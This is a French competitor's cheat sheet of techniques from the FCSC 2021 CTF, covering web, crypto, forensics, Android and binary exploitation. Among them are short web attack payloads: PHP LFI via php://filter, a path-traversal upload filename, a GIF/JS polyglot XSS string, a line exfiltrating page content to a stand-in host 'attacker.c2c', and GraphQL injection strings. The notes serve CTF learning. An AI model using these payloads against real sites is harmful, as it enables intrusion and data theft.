FCSC 2021
Ceci n'est pas un writeup/compte-rendu du CTF.
Ne se trouvent sur cette page que de courtes notes/pistes/méthodes qui m'auraient permis
de résoudre plus de challenges.
Résultats:
Points: ?? (j'ai oublié de le noter…)
456e/1380 au classement général
173e/563 au classement "hors catégorie"
Pour les deux classements, je ne tiens compte que de ceux ayant scoré 1 flag au moins
Les clefs des flags
Web
HTTP packet injection
Via le path/query string de l'URL (SSRF Header injection via CVE-2016-5699 in Python)
PHP LFI
PHP LFI include($_GET[...])
:
local path (flag.php) ou remote path (http://...) ou
php://filter/convert.base64-encode/resource=flag.php
Flags potentiellement en $_SESSION
RCE via file upload + C:\Windows\tempt\php<< (FindFirstFile quirk)
ou via n'importe quel autre file (user session, regular upload, avatar,...)
PHP RCE possible: php -r 'print_r(file_get_contents("flag.php"));'
(utile si cat, xxd, head, tail etc ne sont pas dispo sur la machine vulnérable)
Générique
Si l'upload de fichier conserve le nom d'origine, alors ..%2Ftruc.png est un bon nom
JS/GIF polyglott: GIF89a/*<svg/onload=alert(1)>*/=alert(document.domain)//;
Exfiltration de données via URL "//attacker.c2c/?" + btoa(document.body.innerHTML)
Crypto
RSA: (m^e)%n
Via xcas irem(m**e,n)
;
déchiffrement via factorisation première ifactor(N)
voir aussi
le flag RSA destroyer
et
RSA CTF tool
pour casser une clef publique faible
import codecs et codecs.decode(output[0:32].decode('ascii'), 'hex') avec output = open('...', 'rb').read()[:-1] pour décoder une partie d'une chaine hexa -> ascii (cf laPIN)
Morse: 5 signes pour les chiffres, 4 ou moins pour les lettres
x XOR x = 0, ce qui peut drastiquement simplifier certains algos de chiffrements par blocs
Courbes elliptiques, cf wikipedia ou Lost Curve flag
PDF SHA1 collider
Shattered paper; http://alf.nu/SHA1
GraphQL injection
"}}]}) { nodes { nodeName, node2... } } evaluate{ }#
Table list: {__schema { types { name } } }
Fields list: {__type(name:"FlagTable") { name fields { name type { name kind } } } }
Disque Forensic
Ne pas mixer sudo/non-sudo entre (ewf)mount et parted (sinon, access right error):
mkdir ./mount-pt; (sudo )ewfmount file.e01 ./mount-pt; (sudo )parted ./mount-pt/ewf1
kpartx -av ./mount-pt/ewf1 pour mount
Les strings en forensic peuvent être 8/16/32 bits little/big endian:
strings -e S/b/l/B/L file.img | grep 'FCSC' respectivement 8bits/16bits BE/16b LE/32BE/32LE
mmls disque.e0*: partition layout of a volume system
fls disque.e01 -o 2048: liste les fichiers alloués,
-o = offset de la partition (issu de mmls)
icat disque.e01 -o 2048 15 > out.zip: extraire le fichier n°15 (index de fls)
Android
jadx pour décompiler apk vers Java (attention: full path requis, et output dire requis):
jadx -d /home/dragon/.../output-dir /home/dragon/.../file.apk
Binary exploits
Vérifier les options de compilation (sécurité) d'un binaire: checksec --file=executable-file (package sudo apt install checksec)
Limites d'un process (CPU, opened file descriptors, etc): ulimit -a (view), prlimit ... ./executable-file-to-run (set)
Blind ROP (Return Oriented Programming): "Blind date flag" ainsi que "Reporter flag" ( alertnative writeup ) et "Encrypted shellcode" (voir aussi un générateur de strings non-répétitive pour déterminer la longueur du buffer)
Miasm, reverse engineering framework in python for binaries
Toolbox
- Compression dans un flag = potentielle attaque sur la taille des requetes/réponses (BREACH like)
- hookb.in pour monitor le traffic HTTP reçu comme un C2C
- . n'est pas dans PATH donc export PATH=.:$PATH requis!
- Radio/audio: audacity (import/raw data, avec le bon sample rate)
- Github: des projets open source existent souvent pour simplifier la vie (one_gadget, chip8,...)
-
Python cli:
import os
print(os.listdir())
print(open('flag.txt', 'r').read())
HTTP server: python3 -m http.server 8080 (et c'est tout)
Python image, network and graphs: Image.open(BytesIO(base64.b64decode(...))) img.getpixel(...) networkx.DiGraph() ... add_edge(...) & .shortest_path(...) cf Flag Ventriglisse - Diassembler: Ghidra, Cutter (radare2) avec intégration ghidra ( r2ghidra )
- Network simulators: Antidote (NRE labs), Cloonix, Containerlab, CORE, EVE-NG, GNS3, IMUNES, Kathara, Mininet, NS-3… (see Brian Link Letter
- Volatility , framework for volatile memory analysis
- "Findaes", pour trouver des clefs AES dans un dump mémoire, pour ensuite ouvrir une partition LUKS: echo "fd0...46" | xxd -rp > keyfile.dat cryptsetup luksOpen file-name.img secret --master-key-file keyfile.dat cf Ordiphone flags
- JWToken, base64 . separated, cf JWT_Tool et JWT Key Recovery pour retrouver la clef *publique* RSA à partir de tokens valides (flag Vice VeRSA)
- Rust peut utiliser des macros (à la compilation) qui sont elles-même du code Rust, #![crate_type = "proc-macro"] #![crate_name = "mymacro"] cf Le Rustique flag